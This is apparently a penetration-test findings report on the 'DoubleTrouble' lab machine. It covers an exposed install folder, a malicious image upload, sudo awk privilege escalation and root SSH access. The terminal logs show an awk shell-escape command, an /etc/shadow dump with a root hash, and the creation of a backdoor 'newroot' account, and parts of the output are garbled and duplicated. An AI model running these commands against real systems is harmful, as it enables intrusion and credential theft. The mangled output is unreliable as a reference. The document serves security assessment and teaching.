


Technical Findings

Internal Penetration Assessment Findings


Finding IPA-001: Security Misconfiguration (Critical)


Description: Bigs.S was able to enumerate and access the /install folder, allowing us to connect DoubleTrouble's website to our database and creating an admin account, which enabled Bigs.S to log in to the application. The same account was later responsible for uploading the malicious image that led to the initial access to the server and, consequently, the ultimate domain breach.

Risk: The ability to access the /install folder and modify database connections violates access control mechanisms, allowing unauthorized changes to the application. Attackers gain full access to the system through multiple attack vectors (database manipulation, admin account creation, file upload exploit).



















Finding IPA-002: Insecure Image Upload (Critical).


Description: Bigs.S was able to upload a malicious image through the /index.php/configuration?type=general web endpoint which led to an initial access to the server.

Risk: This vulnerability allows attackers to upload malicious files to the server, and exfiltrate information that can be used for further server/domain enumeration and exploitation.



















Finding IPA-003: Improper Privilege Management(Critical)

Description: The exploitation that led to the initial access provided Bigs.S with access to the service account www-data which had privileges to run the awk command with root privileges. With much ease, Bigs.S was able to leverage this poor privilege management to get root privileges to the system.

Risk: The service account www-data has unnecessary sudo privileges to run awk as root. This misconfiguration allows attackers to escalate privileges and gain full control over the system.



```
$ sudo awk 'BEGIN {system("/bin/sh")}'
whoami
root
hostname
doubletrouble
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00 brd 00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 08:00:27:21:61:11 brd ff:ff:ff:ff:
    inet 10.0.2.5/24 brd 10.0.2.255 scope global dynamic enp0s3
        valid_lft 414sec preferred_lft 414sec
    inet6 fe80::a00:27ff:fe21:6111/64 scope link
        valid_lft forever preferred_lft forever
```

```
cat /etc/shadow
root:$6$GFEPutgl.1nJAe5p$iqX/vWP1PCL3cGTDWNC5PUkXxTVSRuYLeIvbITXtxdbdPQDCKl.EzrzcynCPtfDbiinerU4Ae4S7XY3TLXZTB1:18613:0:9999:7:::
daemon:*:18613:0:99999:7:::
sync:*:18613:0:99999:7:::
games:*:18613:0:99999:7:::
man:*:18613:0:99999:7:::
man:*:18613:0:99999:7:::
news:*:18613:0:99999:7:::
news:*:18613:0:99999:7:::
uucp:*:18613:0:99999:7:::
tww-data:*:18613:0:99999:7:::
tist:*:18613:0:99999:7:::
ifc:*:18613:0:99999:7:::
gnats:*:18613:0:99999:7:::
systend-timesync:*:18613:0:99999:7:::
systend-timesync:*:18613:0:99999:7:::
systend-tendevork:*:18613:0:99999:7:::
systend-tendevork:*:18613:0:99999:7:::
systend-tendevork:*:18613:0:99999:7:::
systend-tendevork:*:18613:0:99999:7:::
systend-resolve:*:18613:0:99999:7:::
systend-resolve:*:18613:0:99999:7:::
systend-resolve:*:18613:0:99999:7:::
systend-resolve:*:18613:0:99999:7:::
systend-resolve:*:18613:0:99999:7:::
systend-resolve:*:18613:0:99999:7:::
systend-coredump:!!:18613::::99999:7:::
systend-coredump:!!:18613:::::
mysql:::18613:0:99999:7:::
```

Finding IPA-004: SSH - Security Misconfiguration (High)

Description: After breaching to a shell with root privileges, Bigs.S was able to add a new root user account to the machine, and login on that account via ssh without any set up needed.

Risk: Allowing root accounts to login via ssh is against security best practices. Direct access to root makes privilege escalation unnecessary, shortening the path for a full domain breach.



```
Sudo password newroot

New password: password

Retype new password: password

password updated successfully
cat /etc/shadow
root:$6$GFEPutgi.InJ4e5p$1qX/xWpIPCL3cGTDWNC5PUKXxTVSRuYLeIvbITXtxdbdPQDCKl.EzrzcynCPtfDbiinerU4Ae457XY3TLXZTB1:18613:0:99999:7:::
bin:*:18613:0:99999:7:::
bin:*:18613:0:99999:7:::
syn:*:18613:0:99999:7:::
pin:*:18613:0:99999:7:::
man:*:18613:0:99999:7:::
mail:*:18613:0:99999:7:::
mail:*:18613:0:99999:7:::
mail:*:18613:0:99999:7:::
proxy:*:18613:0:99999:7:::
proxy:*:18613:0:99999:7:::
irc:*:18613:0:99999:7:::
irc:*:18613:0:99999:7:::
systemd-resolve:*:18613:0:99999:7:::
syst
```

```
-(kali®kali)-[~/Desktop/Assessment-Findings/double_trouble-assessment]
 —$ ssh newroot@10.0.2.5
newroot@10.0.2.5's password:
Linux doubletrouble 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law. $ whoami
newroot
$ hostname
doubletrouble
inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link/ether 08:00:27:21:61:11 brd ff:ff:ff:ff:ff
    inet 10.0.2.5/24 brd 10.0.2.255 scope global dynamic enp0s3
    valid_lft 385sec preferred_lft 385sec
inet6 fe80::a00:27ff:fe21:6111/64 scope link
       valid_lft forever preferred_lft forever
$
```